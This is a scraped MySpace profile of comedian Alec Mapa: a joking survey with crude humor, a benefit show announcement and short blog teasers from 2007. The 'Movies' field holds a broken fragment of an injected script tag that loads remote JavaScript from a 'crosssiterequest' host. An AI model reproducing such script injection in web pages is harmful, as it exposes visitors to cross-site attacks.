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OFFICIAL MYSPACE PAGE OF AMERICA'S GAYSIAN SWEETHEART-DON'T DREAM IT, BE IT |
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| Age: | 98 years old |
| Sex: | Male |
| Location: | Los Angeles, California |
| Country: |  United States |
| Height: | 5' 4" |
| BodyType: | Slim / Slender |
| Zodiac: |  Cancer (Jun 21 - Jul 22) |
| Last Login: | Apr 27, 2008 (859 days back) |
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About Me |
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HotFreeLayouts I'M A GLAMOROUS, EXCITING , STRANGELY ATTRACTIVE TELEVISION STAR. CURRENTLY I'M ON "DESPERATE HOUSEWIVES" PLAYING EVA LONGORIA'S BFF "VERN", BUT YOU MIGHT KNOW ME FROM FOUR SEASONS ON UPN'S "HALF AND HALF"(IN SYNDICATION SOMETIME SOMEWHERE 2007!),"SOME OF MY BEST FRIENDS" (NOW PLAYING ON LOGO!) MY "WISECRACK" COMEDY SPECIAL ON LOGO (NOW PLAYING AT iFILM.COM!) OR ANY OF MY APPEARANCES ON E! OR VH-1 WHERE I JUST SAY MEAN FUNNY THINGS ABOUT FAMOUS PEOPLE.I PLAYED "N'CREAM" IN THE FILM "CONNIE AND CARLA" AND I WRITE A COLUMN FOR "THE ADVOCATE " CALLED MINORITY RETORT. MAYBE I'LL WRITE ABOUT YOU! I'M MARRIED TO THE LOVE OF MY LIFE JAMISON HEBERT AND WE LIVE IN A PRETTY HOUSE WITH OUR DOG OZZY. READ MY BLOGS FOR UPDATES AND GOSSIP AND STUFF.OOH! LOOK IT'S WILSON CRUZ, LESLEY ANNE WARREN ME AND PETER PAIGE. I'M SHORT! .... TELL ME ABOUT YOURSELF - The Survey Name: ALEC MAPA Birthday: JULY 10 Birthplace: SAN FRANCISCO (HENCE THE ACCENT) Current Location: LA LA Eye Color: BROWN AND LOVELY Hair Color: BLACK AND GREYING Height: BITE SIZE (5'4") Right Handed or Left Handed: DEPENDS ON THE POSITION Your Heritage: FLIP-IPINO The Shoes You Wore Today: ADIDAS Your Weakness: GREAT BIG HANDS AND FEET Your Fears: CLOWNS AND COOKED PINEAPPLE Your Perfect Pizza: CASA BIANCA IN EAGLE ROCK OR GASPARE'S IN SF Goal You Would Like To Achieve This Year: BALANCE Your Most Overused Phrase On an instant messenger: IS THIS REALLY A PICTURE OF YOU? Thoughts First Waking Up: THANK YOU GOD Your Best Physical Feature: I'VE BEEN TOLD MY ASS IS BREATHTAKING Your Bedtime: 11PM Your Most Missed Memory: IF I MISSED IT HOW CAN I REMEMBER IT? Pepsi or Coke: DON'T DRINK SODA! IT'S PURE CORN SYRUP. NASTY & BAD 4 U. MacDonalds or Burger King: ON THE OTHER HAND, THIS SHIT TASTES GOOD. Single or Group Dates: SINGLE. I DON'T WANT TO SHARE. Lipton Ice Tea or Nestea: I DON'T REALLY LIKE ICE TEA Chocolate or Vanilla: BOTH!! I LIKE THE SWIRL IN ICE CREAM AND PEOPLE Cappuccino or Coffee: BOTH! BOTH! BOTH!BOTH! BOTH! Do you Smoke: NO. AND I REALLY REALLY MISS IT Do you Swear: GOODNESS GRACIOUS HEAVENS, FUCK YEAH Do you Sing: I'M SINGING RIGHT NOW. Do you Shower Daily: WHERE DO YOU THINK I'M SINGING? Have you Been in Love: ALWAYS IN LOVE Do you want to go to College: BEEN THERE DONE THAT Do you want to get Married: SEE ABOVE Do you belive in yourself: I'M HERE AREN'T I? Do you get Motion Sickness: NO.I CAN RIDE ON ALMOST ANYTHING WITHOUT VOMITING Do you think you are Attractive: I HAVE MY DAYS Are you a Health Freak: I HAVE MY DAYS Do you get along with your Parents: YES Do you like Thunderstorms: NO Do you play an Instrument: THE SKIN FLUTE In the past month have you Drank Alcohol: NO In the past month have you Smoked: NO In the past month have you been on Drugs: DOES ADVIL COUNT? In the past month have you gone on a Date: MY HUSBAND AND I HAVE "DATE NIGHT" EVERY WEEK. In the past month have you gone to a Mall: YES. MY PILATES INSTRUCTOR IS NEXT TO A BAJA TACO STAND. In the past month have you eaten a box of Oreos: NO.BUT I HAVE THEM IN CASE OF AN EMERGENCY In the past month have you eaten Sushi: YES In the past month have you been on Stage: THAT'S WHERE I LIVE BABY In the past month have you been Dumped: NO, BUT I'VE TAKEN ONE In the past month have you gone Skinny Dipping: DOES THE TUB COUNT? In the past month have you Stolen Anything: HEARTS AND MINDS MOSTLY. Ever been Drunk: YES. ASK ANYONE. Ever been called a Tease: YES. ASK ANYONE. Ever been Beaten up: YES. BUT YOU SHOULD'VE SEEN THE OTHER GUY. Ever Shoplifted: I WAS FRAMED. How do you want to Die: IN MY SLEEP SURROUNDED BY TEENAGE ATTENDANTS What do you want to be when you Grow Up: DANCER WITH THE BALLET RUSSE What country would you most like to Visit: PERU (MACHU PICHU. LET'S GO!) In a Boy/Girl.. Favourite Eye Color: NONE OF Favourite Hair Color: THIS MATTERS Short or Long Hair: MORE THAN Height: KINDNESS AND Weight: HUMOR Best Clothing Style: ELIZABETHAN Number of Drugs I have taken: SO THAT'S MY MOST MISSED MEMORY! Number of CDs I own: NONE Number of Piercings: NONE Number of Tattoos: NONE Number of things in my Past I Regret: NON, RIEN, RIEN! NON , JE NE REGRETTE RIEN! CREATE YOUR OWN! - or - GET PAID TO TAKE SURVEYS! Home | Browse | Search | Invite | Film | Mail | Blog | Favorites | Forum | Groups | Events | Videos | Music | Comedy | Classifieds |
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My Interests |
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| ALEC MAPA RETURNS TO THE RENBERG THEATER AT THE LA GLBT CENTER FOR AN ENCORE PERFORMANCE AND LIVE TAPING OF HIS ALL NEW SHOW SPONSORED BY COLT MAGAZINE!! APRIL 7 8PM The Village at Ed Gould Plaza 1125 N. McCadden Place Los Angeles, CA 90038 Box OfficeTickets for cultural arts events, benefiting the L.A. Gay & Lesbian Center, can be purchased at our Box Office.Hours: Monday - Friday 6 pm - 9 pm Saturday 9 am - 5 pm Phone: 323-860-7300 TICKETS $20 PROCEEDS BENEFIT PROGRAMS FOR HOMELESS YOUTH AT THE LA GLBT CENTERMY LOVELY SPONSORS AT COLT: .. width="425" height="350" .... | |
I'd like to meet:YOU! I WANT TO MEET EVERYONE ,AND EVERY SINGLE DRAG QUEEN ON MYSPACE. I FIND THE DIVERSITY FASCINATING. EVERYONE HAS A STORY THAT CAN STOP YOUR HEART.WRITE ME SOON AND OFTEN AND TELL ME EVERYTHING THERE IS TO KNOW ABOUT YOU! |
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Movies:.... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document.write("..1...{}");}.. |
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Heroes:..You Are Cookie Monster Misunderstood as a primal monster, you're a true hedonist with a huge sweet tooth. You are usually feeling: Hungry. Cookies are preferred, but you'll eat anything if cookies aren't around. You are famous for: Your slightly crazy eyes and usual way of speaking How you life your life: In the moment. "Me want COOKIE!" The Sesame Street Personality Quiz |
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My Background and Lifestyle |
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| MaritalStatus: | Married |
| Ethnicity: | Asian |
| SexualOrientation: | Gay / Lesbian |
| Hometown: | sAN fRANCISCO |
| Smoker: | No |
| Drinker: | No |
| Children: | Someday |
| Education: | College graduate |
| Occupation: | SUPERMODEL |
My Pictures |
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My Blog |
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ONE NIGHT ONLY !!C'MON!! C'MON!! |
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| HEY MYSPACE LOVERS!!I'M TAPING MY NEWEST LATEST STAND UP SHOW FOR BIG TIME TELEVISION!!!HERE'S THE INFO:ALEC MAPA RETURNS TO THE RENBERG THEATER AT THELA GLBT CENTER FOR AN ENCORE PERFORMA... Posted by alec mapa on Thu, 15 Mar 2007 04:31:00 PST |
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UNFORGETTABLE JAPAN REMEMBERED |
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| Sights in Tokyo I'll never forget: Saturday Shoppers Schlepping Shibuya: Japanese schoolkids in Ueno Park:Hot Gay Porn stars manhandling me backstage at an event:OOPS! Silly me, that was San Fran... Posted by alec mapa on Wed, 14 Mar 2007 10:50:00 PST |
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I'MTURNINGJAPANESEITHINKI'MTURNINGJAPANESE IREALLYTHINKSO |
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| OHAIYO GOZAIMSU MYSPACERS! Well there's no way to accurately describe a city like Tokyo to someone who's never been there before but I'll try. First of all- this was my neighborhood: I st... Posted by alec mapa on Tue, 13 Mar 2007 11:51:00 PST |
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HOLY SHIT, I'M IN TOKYO!!! |
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| O GENKI DESUKA BITCHES!!!We arrived, we're safe and my gigantic husband is trying not to step on people. Will write you all about it when the jet lag wears off and I can form complete sentence... Posted by alec mapa on Wed, 28 Feb 2007 01:55:00 PST |
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ON THE ROAD-MIAMI,HIGHAND PARK,PHILADELPHIA, SAN FRANCISCO, TOKYO |
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| Jet lag is like having all the symptoms of the flu without actually having the flu. I'm tired,poopy and achy but I dont have a fever. My stomach's all weird, but I'm not barfy. I know. Poor ... Posted by alec mapa on Tue, 20 Feb 2007 10:59:00 PST |
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'VH-1 CELEBRITY MAGIC CHALLENGE |
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| Last week I filmed a pilot for VH-1 called "Celebrity Magic Challenge".I've learned that the bank really doesn't care what I do for a living, so long as the mortgage is paid on time. I feel ... Posted by alec mapa on Wed, 14 Feb 2007 05:25:00 PST |
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THE MO-SEIDEN ADVENTURE (NOW WITH SEMI NUDE PHOTOS) |
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| I was booked to perform as a comedian on a Carribean gay cruise and I envisioned the worst:Trapped on an ocean liner for seven days with 3,700drug addled muscle queens. A nonstop circuit ... Posted by alec mapa on Wed, 07 Feb 2007 05:48:00 PST |
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GOODBYE FOREVER |
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| oK, not forever , but I'm going away to work on a gay cruise this week and just in case anything happens to me I want all of you to know it's been a pleasure corresponding with... Posted by alec mapa on Sun, 28 Jan 2007 04:26:00 PST |
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SCARIEST TV COMMERCIAL EVER |
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| This scared the shit out of me when I was a kid. I used to run out of the room whenever it came on.Thought I'd send you all an early Halloween present. Obviously I've been surfing youtube ins... Posted by alec mapa on Sun, 21 Jan 2007 08:29:00 PST |
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NOT REALLY A BLOG. I JUST THINK THIS IS FUNNY BECAUSE I'M FILIPINO. |
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| ... Posted by alec mapa on Fri, 19 Jan 2007 08:44:00 PST |
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